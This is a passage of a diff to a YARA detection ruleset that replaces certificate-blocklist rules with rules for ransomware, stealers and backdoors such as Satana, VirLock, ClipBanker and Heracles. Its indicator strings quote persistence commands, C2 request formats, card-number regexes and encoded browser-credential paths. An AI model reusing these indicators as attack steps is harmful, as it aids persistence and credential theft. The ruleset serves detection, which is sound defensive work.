 		tags = "FILE"
-		thumbprint = "b15a4189dcbb27f9b7ced94bc5ca40b7e62135c3"
-		importance = 20
+
+	strings:
+		$s1 = "encblklen" fullword ascii
+		$s2 = ".rapid" fullword ascii
+		$s3 = "BgIAAACkAABSU0E" ascii
+		$s4 = "IFdlIHNlbmQ" ascii
+		$s5 = "Software\\EncryptKeys" fullword ascii
+		$s6 = "local_enc_private_key" fullword ascii
+		$s7 = "local_public_key" fullword ascii
+		$s8 = "How Recovery Files.txt" ascii
+		$s9 = "recovery.txt" ascii
+		$s10 = "thr %i run %s" fullword ascii
+		$s11 = " /TN Encrypter" ascii
+		$s12 = /Encrypter_\d+/ fullword ascii
+		$s13 = "BleepingComputer_rapid" ascii wide
+		$m1 = "tell us your unique ID - ID-" ascii
+		$m2 = "really want to restore your files?" ascii
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].serial=="14:2a:ac:42:17:e2:2b:52:5c:85:87:58:97:73:ba:9b")
+		uint16(0)==0x5a4d and (6 of ($s*) or (1 of ($m*) and 4 of ($s*)))
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_4026D6291F1Ac7Cf86C2C81172Cfb200 : FILE
+rule DITEKSHEN_MALWARE_Win_Satana : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects Satana ransomware"
 		author = "ditekSHen"
-		id = "ea11705d-37a1-5050-b01a-b7fc523c675a"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "f3cb7cc4-3c63-50b2-8e19-d675abbb33f8"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L5218-L5229"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L8587-L8604"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "c821f288bb6555e3955dfccf02edde2448f0499942eea24c488a6426985bff74"
+		logic_hash = "b2946e8c37be4a57237999aaa0c0a760a181306320162e04bc6fc12a542b81d5"
 		score = 75
-		quality = 75
+		quality = 73
 		tags = "FILE"
-		thumbprint = "2ae4328db08bac015d8965e325b0263c0809d93e"
-		importance = 20
+		snort_sid = "920269-920270"
+
+	strings:
+		$bf1 = "Try Decrypt: uc_size = %d, c_size = %d" ascii
+		$bf2 = "dwMailSelector = %d  dwBtcSelector = %d" ascii
+		$bf3 = "%s: Error DecB: 0x%X" ascii
+		$bf4 = "MBR written to Disk# %d" ascii
+		$bf5 = "!SATANA!" ascii wide nocase
+		$bf6 = "1 -th start" fullword ascii
+		$bf7 = "id=%d&code=%d&sdata=%d.%d.%d %d %d %s %s %d&name=%s&md5=%s&dlen=%s" ascii
+		$bf8 = "threadAdminFlood: %s %s %s" wide
+		$bf9 = "%s: NET RES FOUND: %s" wide
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "MztxUCVYqnxgsyqVryViRnMfHFYBgyVMXkXuVGqmyPx" and pe.signatures[i].serial=="40:26:d6:29:1f:1a:c7:cf:86:c2:c8:11:72:cf:b2:00")
+		( uint16(0)==0x5a4d and 4 of ($bf*)) or (5 of ($bf*))
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_00B0A308Fc2E71Ac4Ac40677B9C27Ccbad : FILE
+rule DITEKSHEN_MALWARE_Win_Virlock : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects VirLock ransomware"
 		author = "ditekSHen"
-		id = "207aa920-528c-5fa2-a8d4-4a44da4c870e"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "dbf46963-3e74-54a0-8f7d-b24436c3ea2c"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L5231-L5242"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L8606-L8624"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "a71c47475327fb6268db34cd9d47451090fa3e673accfa905d32ebfb35f11e40"
+		logic_hash = "8d516a0d771d7134c0f917f010b3973ed53b4ee7e4a2cf0bb5daecf9867b0081"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "15e502f1482a280f7285168bb5e227ffde4e41a6"
-		importance = 20
+
+	strings:
+		$x1 = "BThere are two ways to pay a fine:" fullword wide
+		$x2 = "^Es gibt zwei M" fullword wide
+		$x3 = "glichkeiten, eine Strafe zahlen." fullword wide
+		$x4 = /usertile\d+\.bmp/ fullword wide
+		$s1 = "WinSock 2.0" fullword ascii
+		$s2 = "Running" fullword ascii
+		$s3 = "echo WScript.Sleep(50)>%TEMP%/file.vbs" fullword ascii
+		$s4 = "cscript %TEMP%/file.vbs" fullword ascii
+		$s5 = "del /F /Q file.js" fullword ascii
+		$s6 = "del /F /Q %1" fullword ascii
+		$s7 = "del /F /Q %0" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Volpayk LLC" and pe.signatures[i].serial=="00:b0:a3:08:fc:2e:71:ac:4a:c4:06:77:b9:c2:7c:cb:ad")
+		( uint16(0)==0x5a4d and ((2 of ($x*) and 2 of ($s*)) or (5 of ($s*) and 1 of ($x*)))) or (8 of them )
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_009Ecaa6E28E7615Ef5A12D87E327264C0 : FILE
+rule DITEKSHEN_MALWARE_Win_Piratestealer : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects PirateStealer"
 		author = "ditekSHen"
-		id = "8fd9f4e8-4ec3-5731-8032-e2657ee229ca"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "07278b99-b990-5016-8389-fbd27538a722"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L5244-L5255"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L8626-L8644"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "24858027f62fd057c06dbf58b4a6e1e5f1dcd9429676232a8e66d231e713f56a"
-		score = 75
+		logic_hash = "c29fbc6cfa9e529218fa7315481e0922dc10b2da729931b8580bdd76ecdf6b68"
+		score = 50
 		quality = 75
 		tags = "FILE"
-		thumbprint = "50899ef5014af31cd54cb9a7c88659a6890b6954"
-		importance = 20
+
+	strings:
+		$s1 = "PirateStealerBTW" wide
+		$s2 = "/PirateStealer/main/src/" wide
+		$s3 = "%WEBHOOK_LINK%" fullword wide
+		$s4 = "your_webhook_here" fullword wide
+		$s5 = "PirateMonsterInjector" ascii wide
+		$s6 = "DiscordProcesses" fullword ascii
+		$s7 = "GetDiscords" fullword ascii
+		$s8 = { 44 6f 77 6e 6c 6f 61 64 53 74 72 69 6e 67 00 47
+               65 74 46 6f 6c 64 65 72 50 61 74 68 00 57 65 62
+               68 6f 6f 6b 00 4b 69 6c 6c 00 50 72 6f 67 72 61
+               6d 00 53 79 73 74 65 6d 00 4d 61 69 6e 00 }
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "HaqMkgGQmnNHpFsQmzMRDcavkPBzOcvMatDmcLHuDNoiQWMqj" and pe.signatures[i].serial=="00:9e:ca:a6:e2:8e:76:15:ef:5a:12:d8:7e:32:72:64:c0")
+		uint16(0)==0x5a4d and 3 of them
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_19985190B09206952Efd412D3Ccc18E2 : FILE
+rule DITEKSHEN_MALWARE_Win_Nglite : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects NGLite"
 		author = "ditekSHen"
-		id = "bd94cfd0-adaa-5e37-880e-8ef50328499d"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "b014ed4f-57b1-597e-befc-6e7f80855201"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L5257-L5268"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L8646-L8668"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "6db1aaabd9a257e863a5ff771a736b705391602f7f5e2b799f8c47d3ae566f0f"
+		logic_hash = "d83663908949f69018461c73cf7137cf4ab16cc057cfe47942e6de0415ab5447"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "49ec0580239c07da4ffba56dc8617a8c94119c69"
-		importance = 20
+
+	strings:
+		$x1 = "/lprey/main.go" ascii
+		$x2 = "/NGLiteV1.01/lprey/" ascii
+		$x3 = "/ng.com/lprey/" ascii
+		$x4 = "/mnt/hgfs/CrossC2-2.2/src/" ascii
+		$x5 = "WHATswrongwithUu" ascii
+		$s1 = "main.Preylistener" fullword ascii
+		$s2 = "main.Runcommand" fullword ascii
+		$s3 = "main.RandomPass" fullword ascii
+		$s4 = "main.AesEncode" fullword ascii
+		$s5 = "main.RsaEncode" fullword ascii
+		$s6 = "main.AesDecode" fullword ascii
+		$s7 = "main.initonce" fullword ascii
+		$s8 = "main.SendOnce" fullword ascii
+		$s9 = "main.clientConf" fullword ascii
+		$s10 = "main.Sender" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "cwcpbvBhYEPeJYcCNDldHTnGK" and pe.signatures[i].serial=="19:98:51:90:b0:92:06:95:2e:fd:41:2d:3c:cc:18:e2")
+		( uint16(0)==0x5a4d or uint16(0)==0x457f or uint16(0)==0xfacf) and ((1 of ($x*) and 2 of ($s*)) or (6 of ($s*)))
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_03B27D7F4Ee21A462A064A17Eef70D6C : FILE
+rule DITEKSHEN_MALWARE_Win_Kdcsponge : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects KdcSponge"
 		author = "ditekSHen"
-		id = "96920ba8-b6d6-5cf4-9a3c-cb6f5c9b3048"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "8832a141-a85d-5604-992e-7e9bd892d410"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L5270-L5281"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L8670-L8700"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "53a4c4474b1add510624e23eac642e8cba145248d72a2ffc37d0aca141a041c2"
+		logic_hash = "c891db94df9cde9eaa6096ad68d96c7b85a9c03e255ce43ccb8543a016bd3853"
 		score = 75
-		quality = 75
+		quality = 65
 		tags = "FILE"
-		thumbprint = "a278b5c8a9798ee3b3299ec92a4ab618016628ee"
-		importance = 20
+		hash1 = "e391c2d3e8e4860e061f69b894cf2b1ba578a3e91de610410e7e9fa87c07304c"
+
+	strings:
+		$x1 = "\\share\\kdcdll\\user641.pdb" ascii
+		$x2 = "5ADSelf@tech*7890" fullword wide
+		$kdc1 = "KdcVerifyEncryptedTimeStamp" ascii wide nocase
+		$kdc2 = "KerbHashPasswordEx3" ascii wide nocase
+		$kdc3 = "KerbFreeKey" ascii wide nocase
+		$r1 = "Software\\Microsoft\\Windows\\CurrentVersion\\Run" ascii
+		$r2 = "KDC Service" fullword ascii
+		$s1 = "download//symbols//%S//%S//%S" fullword wide
+		$s2 = "c:\\windows\\system32\\kdcsvc.dll" fullword wide nocase
+		$s3 = /WinHttp(Send|Receive)(Request|Response) failed (0x%.8X)/ fullword wide
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "CCL TRADING LIMITED" and pe.signatures[i].serial=="03:b2:7d:7f:4e:e2:1a:46:2a:06:4a:17:ee:f7:0d:6c")
+		uint16(0)==0x5a4d and ((1 of ($x*) and 2 of them ) or ( all of ($kdc*) and (1 of ($x*) or all of ($r*) or 2 of ($s*))) or (8 of them ) or (pe.exports("MainFun") and pe.exports("NetApiBufferFree") and pe.exports("BeaEngineRevision") and pe.exports("BeaEngineVersion") and pe.exports("Disasm") and pe.exports("DllRegisterServer") and pe.exports("DsGetDcName") and 2 of them ))
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_66F98881Fbb02D0352Bef7C13Bd61Df2 : FILE
+rule DITEKSHEN_MALWARE_Win_Chinotto : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects Chinotto"
 		author = "ditekSHen"
-		id = "9cc569f4-1686-5f17-99a4-90750023d519"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "e66703d4-c9c6-5bb4-9e07-11dc89b0a034"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L5283-L5294"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L8702-L8754"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		hash = "f265524fb9a4a58274dbd32b2ed0c3f816c5eff05e1007a2e7bba286b8ffa72c"
-		logic_hash = "3d70da3f644a90bc6e7b405a41225a328d7007187525a0b277f0fc1136be8b5b"
+		logic_hash = "92f37bdc4cf17e07bb556c60e3bde4547c34f67a2fb5c806000d9cb2446adff1"
 		score = 75
-		quality = 75
+		quality = 73
 		tags = "FILE"
-		thumbprint = "722eee34153fc67ea7abdcb0c6e9e54479f1580e"
-		importance = 20
+
+	strings:
+		$x1 = "xxxchinotto" ascii wide
+		$x2 = "\\Chinotto.pdb" ascii wide
+		$x3 = { 50 4f 53 54 20 25 73 20 48 54 54 50 2f 31 2e 31
+                0d 0a 41 63 63 65 70 74 2d 45 6e 63 6f 64 69 6e
+                67 3a 20 67 7a 69 70 2c 20 64 65 66 6c 61 74 65
+                0d 0a 55 73 65 72 2d 41 67 65 6e 74 3a 20 4d 6f
+                7a 69 6c 6c 61 2f 34 2e 30 28 63 6f 6d 70 61 74
+                69 62 6c 65 3b 20 4d 53 49 45 20 36 2e 30 3b 20
+                57 69 6e 64 6f 77 73 20 4e 54 20 35 2e 31 3b 20
+                53 56 31 29 0d 0a 41 63 63 65 70 74 3a 20 69 6d
+                61 67 65 2f 67 69 66 2c 20 69 6d 61 67 65 2f 78
+                2d 78 62 69 74 6d 61 70 2c 20 69 6d 61 67 65 2f
+                6a 70 65 67 2c 20 69 6d 61 67 65 2f 70 6a 70 65
+                67 2c 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78
+                2d 73 68 6f 63 6b 77 61 76 65 2d 66 6c 61 73 68
+                2c 20 2a 0d 0a 41 63 63 65 70 74 2d 4c 61 6e 67
+                75 61 67 65 3a 20 65 6e 2d 75 73 0d 0a 43 6f 6e
+                74 65 6e 74 2d 54 79 70 65 3a 20 6d 75 6c 74 69
+                70 61 72 74 2f 66 6f 72 6d 2d 64 61 74 61 3b 62
+                6f 75 6e 64 61 72 79 3d 25 73 0d 0a 48 6f 73 74
+                3a 20 25 73 3a 25 64 0d 0a 43 6f 6e 74 65 6e 74
+                2d 4c 65 6e 67 74 68 3a 20 25 64 0d 0a 43 6f 6e
+                6e 65 63 74 69 6f 6e 3a 20 4b 65 65 70 2d 41 6c
+                69 76 65 0d 0a 43 61 63 68 65 2d 43 6f 6e 74 72
+                6f 6c 3a 20 6e 6f 2d 63 61 63 68 65 0d 0a 0d 0a
+                00 00 00 00 48 54 54 50 2f 31 2e 31 20 32 30 30
+                20 4f 4b 00 0d 0a 0d 0a 00 00 00 00 65 72 72 6f
+                72 3c 2f 62 3e }
+		$s1 = "Run /v xxxzexs /t REG_SZ /d %s /f" ascii wide
+		$s2 = "ShellExecute Error, ret" ascii wide
+		$s3 = "Run app succeed" ascii
+		$s4 = "cleartemp:" fullword ascii
+		$s5 = "wakeup:" fullword ascii
+		$s6 = "updir:" fullword ascii
+		$s7 = "regstart:" fullword ascii
+		$s8 = "chdec:" fullword ascii
+		$s9 = "cmd:" fullword ascii
+		$s10 = "error</b>" fullword ascii
+		$c1 = "Host: %s:%d" ascii wide
+		$c2 = "Mozilla/4.0(compatible; MSIE 6.0; Windows NT 5.1; SV1)" ascii wide
+		$c3 = "Mozilla/5.0(Windows NT 10.0; Win64; x64)AppleWebKit/537.36(KHTML, like Gecko)Chrome/78.0.3904.108 Safari/537.36" ascii wide
+		$c4 = "id=%s&type=hello&direction=send" ascii wide
+		$c5 = "id=%s&type=command&direction=receive" ascii wide
+		$c6 = "id=%s&type=file&direction=" ascii wide
+		$c7 = "id=%s&type=result&direction=" ascii wide
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].serial=="66:f9:88:81:fb:b0:2d:03:52:be:f7:c1:3b:d6:1d:f2")
+		uint16(0)==0x5a4d and (2 of ($x*) or (1 of ($x*) and (2 of ($s*) or 2 of ($c*))) or 4 of ($c*) or 5 of ($s*))
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_3F8B1D4C656982A34435F971C9F3C301 : FILE
+rule DITEKSHEN_MALWARE_Win_Tardigrade : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects Tardigrade"
 		author = "ditekSHen"
-		id = "7bafe9c8-7ec5-5847-81dc-2f2d0753f784"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "a46caaaa-2954-552a-a20f-952c47370393"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L5296-L5307"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L8756-L8787"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "95fd60c5f236b06fca308696dfe3e3aeb3aa6f255c6030d44822dc33a7c4c917"
+		logic_hash = "2bd4f23f66844a320b6bed6242ba39096f66a08affb84abd78c342d433ed9fe6"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "f12a12ac95e5c4fa9948dd743cc0e81e46c5222e"
-		importance = 20
+		hash1 = "c0976a1fbc3dd938f1d2996a888d0b3a516b432a2c38d788831553d81e2f5858"
+		hash2 = "966b2c7c72a28310acd58bb23af4d3c893b2afca264b2d9c0ec42db815c77487"
+		hash3 = "88be5da274df704dc7fd9882c661a0afdd35f1ce0a7145e30f51c292abd2a86b"
+		hash4 = "cf88926b7d5a5ebbd563d0241aaf83718b77cec56da66bdf234295cc5a91c5fe"
+		hash5 = "4afd9f0dde092daeac3f3e6ffb0aee06682b3dba6005d2bd1a914eefd5cc6a30"
+
+	strings:
+		$x1 = "cmd.exe /c echo kOJAdtQoDcMuogIZIl>\"%s\"&exit" fullword ascii
+		$x2 = "cmd.exe /c echo HBnBcZPeUevCDQmKGzXxYJHqpzRAbRCQCihOxiLi>\"%s\"&exit" fullword ascii
+		$x3 = "cmd.exe /c set kpUUCjoLWLZvJFc=3167 & reg add HKCU\\SOFTWARE\\EQwIobTRgsJ /v PDMXPmqSYnUx /t REG_DWORD /d 10080 & exit" fullword ascii
+		$s1 = "ReplaceFileA" ascii
+		$s2 = "FlushFileBuffers" ascii
+		$s3 = "WaitNamedPipeA" ascii
+		$s4 = "ImpersonateNamedPipeClient" ascii
+		$s5 = "RegFlushKey" ascii
+		$s6 = /cmd\.exe \/c (echo|set)/ ascii
+		$s7 = ">\"%s\"&exit" ascii
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Word" and pe.signatures[i].serial=="3f:8b:1d:4c:65:69:82:a3:44:35:f9:71:c9:f3:c3:01")
+		uint16(0)==0x5a4d and pe.is_dll() and (1 of ($x*) or 6 of ($s*)) and (pe.exports("DllGetClassObject") and pe.exports("DllMain") and pe.exports("DllRegisterServer") and pe.exports("DllUnregisterServer") and pe.exports("InitHelperDll") and pe.exports("StartW"))
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_00Ef9D0Cf071D463Cd63D13083046A7B8D : FILE
+rule DITEKSHEN_MALWARE_Win_Clipbanker02 : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects ClipBanker infostealer"
 		author = "ditekSHen"
-		id = "f4b83bdf-ce07-5bad-b3e2-2c192d67f9f1"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "c2a480cf-e81b-53a2-999a-80209050e0cf"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L5309-L5320"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L8789-L8814"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "9cf4ee1b3000d96d419bfd3e9ac3fb07f843aed735582c72e3a9799e2a56e364"
+		logic_hash = "51a43245b1e0b6fea874302b73bf552012c54c3f7c12b8c447c96c2ffdcc1dcb"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "346849dfdeb9bb1a97d98c62d70c578dacbcf30c"
-		importance = 20
+
+	strings:
+		$x1 = "\\Allcome\\Source code\\Clipper\\" ascii nocase
+		$x2 = "\\cleaper\\Release\\cleaper.pdb" ascii nocase
+		$v1_1 = "&username=" fullword ascii
+		$v1_2 = "/card.php?data=" fullword ascii
+		$v1_3 = "/Create /tn MicrosoftDriver /sc MINUTE /tr" fullword ascii
+		$v1_4 = "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:93.0) Gecko/20100101 Firefox/93.0" fullword ascii
+		$v1_5 = "/API/Clipper/ykesqk0o.php?cf6zrlhn=" fullword ascii
+		$v1_6 = "&di7ztth6=" fullword ascii
+		$v1_7 = "/API/Clipper/hr627gzk.php?v6etwxo5=" fullword ascii
+		$v2_1 = "bitcoincash:" fullword ascii
+		$v2_2 = "\\Microsoft\\Windows\\Start Menu\\Programs\\Startup" ascii
+		$re1 = "^[0-9]{16}$" fullword ascii
+		$re2 = "^[0-9]{4}\\s[0-9]{4}\\s[0-9]{4}\\s[0-9]{4}" fullword ascii
+		$re3 = "^\\d{2}\\D\\d{2}" fullword ascii
+		$re4 = "^[0-9]{3}" fullword ascii
+		$re5 = "([\\W]?[0-9]{4}[\\W]?[0-9]{4}[\\W]?[0-9]{4}[\\W]?[0-9]{4}[\\W]?)" fullword ascii
+		$re6 = "(\\d{2}\\D\\d{2})" fullword ascii
+		$re7 = "(\\d{3})" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Rubin LLC" and pe.signatures[i].serial=="00:ef:9d:0c:f0:71:d4:63:cd:63:d1:30:83:04:6a:7b:8d")
+		uint16(0)==0x5a4d and ((1 of ($x*) and (5 of ($v1*) or all of ($v2*))) or (3 of ($re*) and (2 of ($v1*) or 2 of ($v2*))))
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_00E1E7E596F8F5Ccbeed4Ab882B6Cfe6Ce : FILE
+rule DITEKSHEN_MALWARE_Win_Badjoke : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects BadJoke / Witch"
 		author = "ditekSHen"
-		id = "063d70e1-06b0-53f6-8edb-c81c89af0a05"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "082727d5-618f-542d-93ca-ba93be16cd80"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L5322-L5333"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L8816-L8831"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "56977d47d8fcfd5eb7b5b4a141a9465e1cd2c497f05e61854e0ab09e2c7065a0"
+		logic_hash = "4699a772bcd50d2fe43740df59a4c56598ba43ebcc18acbf8ec401b6f5a01fe6"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "4fec400152db868b07f202fd76366332aedc7b78"
-		importance = 20
+
+	strings:
+		$s1 = "msdownld.tmp" fullword ascii
+		$s2 = "UPDFILE%lu" fullword ascii
+		$s3 = "Command.com /c %s" fullword ascii
+		$s4 = "launch.cmd" fullword ascii
+		$s5 = "virus.vbs" fullword ascii
+		$s6 = "virus.py" fullword ascii
+		$m1 = "Message from Google Virus" ascii
+		$m2 = "you cannot get rid of this virus" ascii
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "LnvNzpvYjsjJOwcvwfalIvRAJHVApnpJU" and pe.signatures[i].serial=="00:e1:e7:e5:96:f8:f5:cc:be:ed:4a:b8:82:b6:cf:e6:ce")
+		uint16(0)==0x5a4d and ( all of ($m*) or all of ($s*) or (1 of ($m*) and 2 of ($s*)))
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_047801D5B55C800B48411Fd8C320Ca5B : FILE
+rule DITEKSHEN_MALWARE_Win_Heracles : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects Heracles infostealer"
 		author = "ditekSHen"
-		id = "750b5b0d-7752-5407-a29e-3272b764a276"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "36cb9366-c70b-5117-955f-402f87f3a88c"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L5335-L5346"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L8833-L8861"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "5e64b59f3d7f7554a482eaa32f5eac80f289bf57865a21381a3c1c78b1dabcab"
+		logic_hash = "1d5c80c084f9d6e4692a18f74574179095ecdd5eaadd70b5d16c19702761d74f"
 		score = 75
-		quality = 75
+		quality = 73
 		tags = "FILE"
-		thumbprint = "00c49b8d6fd7d2aa26faad8e5a31f93a15d66d09"
-		importance = 20
+
+	strings:
+		$x1 = "aHR0cHM6Ly9uYWNrZXIudG9hbnNlY3UuY29tL3VwbG9hZHM/a2V5PX" wide
+		$b1 = "XEdvb2dsZVxDaHJvbWVc" wide
+		$b2 = "XEJyYXZlU29mdHdhcmVcQnJhdmUtQnJvd3Nlcl" wide
+		$b3 = "XENvY0NvY1xCcm93c2VyX" wide
+		$b4 = "VXNlciBEYXRh" wide
+		$b5 = "RGVmYXVsdA" wide
+		$b6 = "UHJvZmlsZQ" wide
+		$b7 = "Q29va2llcw" wide
+		$b8 = "TG9naW4gRGF0YQ" wide
+		$b9 = "TG9jYWwgU3RhdGU" wide
+		$b10 = "bG9jYWxzdGF0ZQ" wide
+		$b11 = "bG9naW5kYXRh" wide
+		$s1 = "encrypted_key" fullword wide
+		$s2 = "<GetIpInfoAsync>d__" ascii
+		$s3 = "<reqHTML>5__" ascii
+		$s4 = "<idHardware>5__" ascii
+		$s5 = "<profilePaths>5__" ascii
+		$s6 = "<cookieFile>5__" ascii
+		$s7 = "<loginDataFile>5__" ascii
+		$s8 = "<localStateFile>5__" ascii
+		$s9 = "<postData>5__" ascii
 
 	condition:
